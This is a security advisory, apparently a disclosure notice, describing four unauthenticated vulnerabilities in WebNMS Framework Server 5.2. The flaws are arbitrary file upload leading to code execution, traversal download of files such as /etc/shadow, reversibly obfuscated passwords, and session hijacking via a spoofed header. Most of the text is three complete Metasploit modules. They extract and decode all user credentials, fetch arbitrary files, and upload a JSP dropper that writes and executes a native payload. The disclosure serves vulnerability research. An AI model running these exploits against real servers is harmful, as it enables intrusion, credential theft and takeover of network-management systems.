Background
WebNMS is an industry-leading framework for building network management applications. With over 25,000 deployments worldwide and in every Tier 1 Carrier, network equipment providers and service providers can customize, extend and rebrand WebNMS as a comprehensive Element Management System (EMS) or Network Management System (NMS). NOC Operators, Architects and Developers can customize the functional modules to fit their domain and network. Functional modules include Fault Correlation, Performance KPIs, Device Configuration, Service Provisioning and Security. WebNMS supports numerous Operating Systems, Application Servers, and databases.
Vulnerabilities Description
Multiple vulnerabilities affecting WebNMS have been found, these vulnerabilities allows uploading of arbitrary files and their execution, arbitrary file download (with directory traversal), use of a weak algorithm for storing passwords and session hijacking.
Credit
An independent security researcher Pedro Ribeiro (pedrib_at_gmail.com) has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Technical Details
Arbitrary file upload with directory traversal, leading to remote code execution
Constraints: no authentication needed
Affected versions: unknown, at least 5.2 and 5.2 SP1
POST /servlets/FileUploadServlet?fileName=../jsp/Login.jsp HTTP/1.1 <JSP payload here>
Two things of note:
1) Only text files are uploaded properly, binary files will get mangled.
2), In order to achieve code execution without authentication, the files need to be dropped in ../jsp/ but they can only have the following names: either Login.jsp or a WebStartXXX.jsp, where XXX is any string of any length.
Arbitrary file download with directory traversal
Constraints: no authentication needed
Affected versions: unknown, at least 5.2 and 5.2 SP1
GET /servlets/FetchFile?fileName=../../../etc/shadow
Note that only text files can be downloaded properly, any binary file will get mangled by the servlet and downloaded incorrectly.
Weak obfuscation algorithm used to store passwords in text file
Constraints: N/A
Affected versions: unknown, at least 5.2 and 5.2 SP1
The ./conf/securitydbData.xml file contains entries with all the usernames and passwords in the server:
<DATA ownername="NULL" password="e8c89O1f" username="guest"/> <DATA ownername="NULL" password="d7963B4t" username="root"/>
The algorithm used to obfuscate is convoluted but easy to reverse. The passwords above are “guest” for the “guest” user and “admin” for the “root” user. A Metasploit module implementing the de-obfuscation algorithm has been released.
This vulnerability can be combined with #2 and allow an unauthenticated attacker to obtain credentials for all user accounts:
GET /servlets/FetchFile?fileName=conf/securitydbData.xml
Session hijacking by spoofing the UserName header
Constraints: no authentication needed
Affected versions: unknown, at least 5.2 and 5.2 SP1
GET /servlets/GetChallengeServlet HTTP/1.1 UserName: root
Returns SessionId=0033C8CFFE37EB6093849CBA4BF2CAF3; which is a valid, JSESSIONID cookie authenticated as the “root” user. This can then be used to login to the WebNMS Framework Server by simply setting the cookie and browsing to any page.
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'WebNMS Framework Server Credential Disclosure', 'Description' => %q{ This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract all user credentials. The first vulnerability is a unauthenticated file download in the FetchFile servlet, which is used to download the file containing the user credentials. The second vulnerability is that the the passwords in the file are obfuscated with a very weak algorithm which can be easily reversed. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', 'TODO' ], [ 'CVE', 'TODO' ], [ 'OSVDB', 'TODO' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'TODO_GITHUB_URL' ], [ 'URL', 'TODO_FULLDISC_URL' ] ], 'DisclosureDate' => 'XXXXXX')) register_options( [ OptPort.new('RPORT', [true, 'The target port', 9090]), OptString.new('TARGETURI', [ true, "WebNMS path", '/']) ], self.class) end def run res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), 'method' =>'GET', 'vars_get' => { 'fileName' => 'conf/securitydbData.xml' } }) if res && res.code == 200 && res.body.to_s.length > 0 cred_table = Rex::Ui::Text::Table.new( 'Header' => 'WebNMS Login Credentials', 'Indent' => 1, 'Columns' => [ 'Username', 'Password' ] ) print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..." res.body.to_s.each_line { |line| # we need these checks because username and password might appear in any random position in the line if line =~ /username="([\w]*)"/ username = $1 if line =~ /password="([\w]*)"/ password = $1 plaintext_password = super_retarded_deobfuscation(password) cred_table << [ username, plaintext_password ] register_creds(username, plaintext_password) end end } print_line print_line("#{cred_table}") loot_name = 'webnms.creds' loot_type = 'text/csv' loot_filename = 'webnms_login_credentials.csv' loot_desc = 'WebNMS Login Credentials' p = store_loot( loot_name, loot_type, rhost, cred_table.to_csv, loot_filename, loot_desc) print_status "Credentials saved in: #{p}" return end end # Returns the plaintext of a string obfuscated with WebNMS's super retarded obfuscation algorithm. # I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time! def super_retarded_deobfuscation (ciphertext) input = ciphertext input = input.gsub("Z","000") base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a base.push 'I' base += 'J'.upto('Y').to_a answer = '' k = 0 remainder = 0 co = input.length / 6 while k < co part = input[(6 * k),6] partnum = '' startnum = false for i in 0...5 isthere = false pos = 0 until isthere if part[i] == base[pos] isthere = true partnum += pos.to_s if pos == 0 if not startnum answer += "0" end else startnum = true end end pos += 1 end end isthere = false pos = 0 until isthere if part[5] == base[pos] isthere = true remainder = pos end pos += 1 end if partnum.to_s == "00000" if remainder != 0 tempo = remainder.to_s temp1 = answer[0..(tempo.length)] answer = temp1 + tempo end else answer += (partnum.to_i * 60 + remainder).to_s end k += 1 end if input.length % 6 != 0 ending = input[(6*k)..(input.length)] partnum = '' if ending.length > 1 i = 0 startnum = false for i in 0..(ending.length - 2) isthere = false pos = 0 until isthere if ending[i] == base[pos] isthere = true partnum += pos.to_s if pos == 0 if not startnum answer += "0" end else startnum = true end end pos += 1 end end isthere = false pos = 0 until isthere if ending[i+1] == base[pos] isthere = true remainder = pos end pos += 1 end answer += (partnum.to_i * 60 + remainder).to_s else isthere = false pos = 0 until isthere if ending == base[pos] isthere = true remainder = pos end pos += 1 end answer += remainder.to_s end end final = '' for k in 0..((answer.length / 2) - 1) final.insert(0,(answer[2*k,2].to_i + 28).chr) end final end def register_creds(username, password) credential_data = { origin_type: :service, module_fullname: self.fullname, workspace_id: '2000', private_data: password, private_type: :password, username: username } service_data = { address: rhost, port: rport, service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP'), protocol: 'tcp', workspace_id: '2000' } credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED, workspace_id: '2000' } login_data.merge!(service_data) create_credential_login(login_data) end end
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'WebNMS Framework Server Arbitrary Text File Download', 'Description' => %q{ This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an unauthenticated user to download files off the file system by using a directory traversal attack on the FetchFile servlet. Note that only text files can be downloaded properly, as any binary file will get mangled by the servlet. Also note that for Windows targets you can only download files that are in the same drive as the WebNMS installation. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', 'TODO' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'TODO_GITHUB_URL' ], [ 'URL', 'TODO_FULLDISC_URL' ] ], 'DisclosureDate' => 'XXXXXX')) register_options( [ OptPort.new('RPORT', [true, 'The target port', 9090]), OptString.new('TARGETURI', [ true, "WebNMS path", '/']), OptString.new('FILEPATH', [ false, "The filepath of the file you want to download", '/etc/shadow']), OptString.new('TRAVERSAL_PATH', [ false, "The traversal path to the target file (if you know it)"]), OptInt.new('MAX_TRAVERSAL', [ false, "Maximum traversal path depth (if you don't know the traversal path)", 10]), ], self.class) end def run file = nil if datastore['TRAVERSAL_PATH'] == nil traversal_size = datastore['MAX_TRAVERSAL'] while traversal_size > 0 file = get_file("../" * traversal_size + datastore['FILEPATH']) if file != nil break end traversal_size -= 1 end else file = get_file(datastore['TRAVERSAL_PATH']) end if file == nil print_error("#{peer} - Failed to download the specified file.") return else vprint_line(file) fname = File.basename(datastore['FILEPATH']) path = store_loot( 'webnms.http', 'text/plain', datastore['RHOST'], file, fname ) print_good("File download successful, file saved in #{path}") end end def get_file(path) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), 'method' =>'GET', 'vars_get' => { 'fileName' => path } }) if res && res.code == 200 && res.body.to_s.length > 0 && res.body.to_s =~ /File Found/ return res.body.to_s else return nil end end end
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'WebNMS Framework Server Arbitrary File Upload', 'Description' => %q{ This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an unauthenticated user to upload text files by using a directory traversal attack on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and executes a malicious payload, achieving code execution under the user which the WebNMS server is running. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', 'TODO' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'TODO_GITHUB_URL' ], [ 'URL', 'TODO_FULLDISC_URL' ] ], 'DefaultOptions' => { 'WfsDelay' => 15 }, 'Privileged' => false, 'Platform' => %w{ linux win }, 'Targets' => [ [ 'Automatic', { } ], [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'TODO')) register_options( [ OptPort.new('RPORT', [true, 'The target port', 9090]), OptString.new('TARGETURI', [ true, "WebNMS path", '/']) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'), 'method' => 'GET' }) if res && res.code == 405 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def upload_payload(payload, is_exploit) jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp' if is_exploit print_status("#{peer} - Uploading payload...") end res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'), 'method' => 'POST', 'data' => payload.to_s, 'ctype' => 'text/html', 'vars_get' => { 'fileName' => '../jsp/' + jsp_name } }) if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/ if is_exploit print_status("#{peer} - Payload uploaded successfully") end return jsp_name else return nil end end def pick_target return target if target.name != 'Automatic' print_status("#{peer} - Determining target") os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} jsp_name = upload_payload(os_finder_payload, false) res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name), 'method' => 'GET' }) if res && res.code == 200 register_files_for_cleanup('jsp/' + jsp_name) if res.body.to_s =~ /Linux/ return targets[1] elsif res.body.to_s =~ /Windows/ return targets[2] end end return nil end def generate_jsp_payload opts = {:arch => @my_target.arch, :platform => @my_target.platform} payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) exe = generate_payload_exe(opts) base64_exe = Rex::Text.encode_base64(exe) native_payload_name = rand_text_alpha(rand(6)+3) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' var_raw = rand_text_alpha(rand(8) + 3) var_ostream = rand_text_alpha(rand(8) + 3) var_buf = rand_text_alpha(rand(8) + 3) var_decoder = rand_text_alpha(rand(8) + 3) var_tmp = rand_text_alpha(rand(8) + 3) var_path = rand_text_alpha(rand(8) + 3) var_proc2 = rand_text_alpha(rand(8) + 3) if @my_target['Platform'] == 'linux' var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | else chmod = '' cleanup = '' end jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') jsp = jsp.gsub(/\x0d\x0a/, "") jsp = jsp.gsub(/\x0a/, "") return jsp end def exploit @my_target = pick_target if @my_target.nil? print_error("#{peer} - Unable to select a target, we must bail.") return else print_status("#{peer} - Selected target #{@my_target.name}") end # When using auto targeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case and ask the user to select an appropriate payload. if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end jsp_payload = generate_jsp_payload jsp_name = upload_payload(jsp_payload, true) if jsp_name == nil fail_with(Failure::Unknown, "#{peer} - Payload upload failed") else register_files_for_cleanup('jsp/' + jsp_name) end print_status("#{peer} - Executing payload...") send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name), 'method' => 'GET' }) end end